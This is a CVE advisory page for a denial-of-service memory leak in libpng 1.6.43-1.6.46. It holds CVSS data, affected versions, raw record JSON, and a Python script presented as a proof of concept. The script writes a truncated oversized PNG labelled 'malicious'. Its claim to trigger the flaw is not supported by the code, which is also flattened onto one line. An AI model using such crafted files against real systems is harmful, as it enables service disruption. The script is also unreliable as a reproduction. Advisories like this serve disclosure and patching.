Security Vulnerability Report
中文
CVE-2025-28162 CVSS 5.5 MEDIUM

CVE-2025-28162

Published: 2026-01-27 16:16:15
Last Modified: 2026-02-06 20:06:44

Description

Buffer Overflow vulnerability in libpng 1.6.43-1.6.46 allows a local attacker to cause a denial of service via the pngimage with AddressSanitizer (ASan), the program leaks memory in various locations, eventually leading to high memory usage and causing the program to become unresponsive

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:* - VULNERABLE
libpng 1.6.43
libpng 1.6.44
libpng 1.6.45
libpng 1.6.46

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import zlib def create_malicious_png(): """ Generate a malicious PNG file to trigger CVE-2025-28162 This PoC creates a crafted PNG that causes memory leak in libpng 1.6.43-1.6.46 """ # PNG signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk - Image header # Width: 10000, Height: 10000, Bit depth: 8, Color type: 2 (RGB) ihdr_data = struct.pack('>IIBBBBB', 10000, 10000, 8, 2, 0, 0, 0) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # IDAT chunk - Image data (truncated to trigger overflow) # Malformed compressed data that causes buffer issues raw_data = b'\x00' * 100000 # Large amount of filter bytes compressed_data = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed_data) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed_data)) + b'IDAT' + compressed_data + struct.pack('>I', idat_crc) # IEND chunk - Image end iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) # Write malicious PNG with open('malicious_cve_2025_28162.png', 'wb') as f: f.write(png_signature + ihdr_chunk + idat_chunk + iend_chunk) print("Malicious PNG created: malicious_cve_2025_28162.png") print("Use with vulnerable libpng 1.6.43-1.6.46 and AddressSanitizer") if __name__ == '__main__': create_malicious_png()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-28162", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:14.630", "lastModified": "2026-02-06T20:06:44.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in libpng 1.6.43-1.6.46 allows a local attacker to cause a denial of service via the pngimage with AddressSanitizer (ASan), the program leaks memory in various locations, eventually leading to high memory usage and causing the program to become unresponsive"}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de búfer en libpng 1.6.43-1.6.46 permite a un atacante local causar una denegación de servicio a través de pngimage con AddressSanitizer (ASan), el programa filtra memoria en varias ubicaciones, lo que eventualmente lleva a un gran uso de memoria y hace que el programa deje de responder."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.43", "versionEndIncluding": "1.6.46", "matchCriteriaId": "A0F7AAC0-79B6-4C89-A7F1-E61C24B0A5A7"}]}]}], "references": [{"url": "https://gist.github.com/kittener/fbfdb9b5610c6b3db0d5dea045a07c60", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/pnggroup/libpng/issues/656", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}